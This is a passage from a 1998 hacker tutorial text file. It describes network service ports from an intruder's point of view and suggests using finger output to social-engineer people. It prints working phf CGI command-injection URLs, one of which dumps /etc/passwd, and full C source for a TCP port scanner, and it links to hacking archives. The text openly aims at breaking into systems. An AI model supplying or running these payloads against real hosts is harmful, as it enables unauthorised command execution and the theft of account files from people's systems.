  779. providing information that could help you social engineer people. Smart
  780. system admins often turn this one off, but you may find it running on large
  781. computers, or often, ISPs. You can perform a finger query by typing:
  782.  
  783. At the shell prompt: finger user@host.com
  784.  
  785. Port 80: HTML
  786. This is the port that HTML is served through. Even the most computer illiterate
  787. idiots will know about this one. There are lotsa clients to interface with
  788. the World Wide Web, a good one for the console [non-graphical] is lynx. Its
  789. syntax as is follows:
  790.  
  791. At the shell prompt: lynx http://www.host.com
  792.  
  793. HTML by itself doesnt offer any security vulnerabilities, but CGI really does.
  794. If the admin is a moron, he still might be vulnerable to the "phf" CGI hole,
  795. although at this point in time, its so old its doubtful. Just in case, though,
  796. here is information on the "phf" hole:
  797.  
  798. You can connect to a site, and use the "phf" CGI program to execute commands
  799. on the remote system. To do this, open up your web browser and type this URL:
  800.  
  801. http://host.com/cgi-bin/phf/?Qalias=x%0acommand
  802.  
  803. The "command" is the command string. It follows directly after the "=x%0a"
  804. stuff. For instance, if i wanted to know the UID that the HTTP daemon was
  805. running under, i would enter:
  806.  
  807. http://host.com/cgi-bin/phf/?Qalias=x%0aid
  808. \                                      /\/
  809.  \                                    /  <-- The command to execute
  810.   \ The URL for exploiting the  hole /  
  811.                                         
  812. Or, if i wanted to type the /etc/passwd file, i would enter:
  813.  
  814. http://host.com/cgi-bin/phf/?Qalias=X%0a/bin/cat%20/etc/passwd
  815.  
  816. You may also be able to find other holes, major or minor in system CGI
  817. programs. IRIX machines seem to have a particular problem with this sort
  818. of thing.
  819.  
  820. Port 110: POP3
  821. POP3 is the Post Office Protocol, Version 3. As shown earlier in this file,
  822. you can exploit certain versions of the POP3 daemon. This daemon is not
  823. usually running on a computer unless the computer is a mailserver. You can
  824. interface with POP using a UNIX program such as Fetchmail. As this is
  825. usually not a standard thing, i'll leave it to you to read the documentation
  826. to Fetchmail.
  827.  
  828. Port 111: Sun RPC Portmapper
  829. This is the RPC portmapper, which is the daemon that maps port numbers to other
  830. Sun RPC services. There are also some exploits that will allow you to fuck with
  831. the RPC portmapper, although I want to keep this file to the basics, so i'll
  832. leave it to you to look around for more information.
  833.  
  834. Port 119: NNTP
  835. This is where the Netnews daemon is. If you know what you're doing, you can
  836. spoof netnews from this port. As I dont fuck with Netnews on the whole that
  837. much, i'll leave it to you to find out how to fuck with NNTP.
  838.  
  839. You might be wondering if there is an easy way to find which ports are open on
  840. a machine. Indeed, there is. Here is a useful program called TCPProbe:
  841.  
  842. /* -*-C-*- tcpprobe.c */
  843. /* tcpprobe - report on which tcp ports accept connections */
  844. /* IO ERROR, error@axs.net, Sep 15, 1995 */
  845.  
  846. #include <stdio.h>
  847. #include <sys/socket.h>
  848. #include <netinet/in.h>
  849. #include <errno.h>
  850. #include <netdb.h>
  851. #include <signal.h>
  852.  
  853. int main(int argc, char **argv)
  854. {
  855.   int probeport = 0;
  856.   struct hostent *host;
  857.   int err, i, net;
  858.   struct sockaddr_in sa;
  859.  
  860.   if (argc != 2) {
  861.     printf("Usage: %s hostname\n", argv[0]);
  862.     exit(1);
  863.   }
  864.  
  865.   for (i = 1; i < 1024; i++) {
  866.     strncpy((char *)&sa, "", sizeof sa);
  867.     sa.sin_family = AF_INET;
  868.     if (isdigit(*argv[1]))
  869.       sa.sin_addr.s_addr = inet_addr(argv[1]);
  870.     else if ((host = gethostbyname(argv[1])) != 0)
  871.       strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
  872.     else {
  873.       herror(argv[1]);
  874.       exit(2);
  875.     }
  876.     sa.sin_family = AF_INET;
  877.     if (isdigit(*argv[1]))
  878.       sa.sin_addr.s_addr = inet_addr(argv[1]);
  879.     else if ((host = gethostbyname(argv[1])) != 0)
  880.       strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
  881.     else {
  882.       herror(argv[1]);
  883.       exit(2);
  884.     }
  885.     sa.sin_port = htons(i);
  886.     net = socket(AF_INET, SOCK_STREAM, 0);
  887.     if (net < 0) {
  888.       perror("\nsocket");
  889.       exit(2);
  890.     }
  891.     err = connect(net, (struct sockaddr *) &sa, sizeof sa);
  892.     if (err < 0) {
  893.       printf("%s %-5d %s\r", argv[1], i, strerror(errno));
  894.       fflush(stdout);
  895.     } else {
  896.       printf("%s %-5d accepted.                               \n", argv[1], i);
  897.       if (shutdown(net, 2) < 0) {
  898.         perror("\nshutdown");
  899.         exit(2);
  900.       }
  901.     }
  902.     close(net);
  903.   }
  904.   printf("                                                                \r");
  905.   fflush(stdout);
  906.   return (0);
  907. }
  908.  
  909. This program will scan a machine's ports and report any that are open. It works
  910. quite well, and will run quickly even on a slow PPP or SLIP link.
  911.  
  912. Now you have covered the basics of getting around in UNIX, and also the basics
  913. of getting access on the UNIX system. If you had noticed, this didnt offer much
  914. ready-to-do stuff, although it did point to where it could be found or learned.
  915. That is the whole point of hacking - don't do it cookie-cutter, that isnt real
  916. hacking. The whole idea is to learn. Presented below are some hacking resources
  917. and contact information.
  918.  
  919. The RootShell Archive - http://www.rootshell.com
  920. Bugtraq Mailing List Archives - http://www.geek-girl.com/bugtraq
  921. Phrack, Inc. - http://www.phrack.com
  922. HackerZ Hideout - http://www.hackersclub.com/km
  923. DIABLO-NET Security Archives ftp://anubis-gw.dyn.ml.org/pub/Computer-Security
  924.  
  925. $ by Netdiablo <ndiablo@complink.net> <root@anubis-gw.dyn.ml.org> 6/19/98 $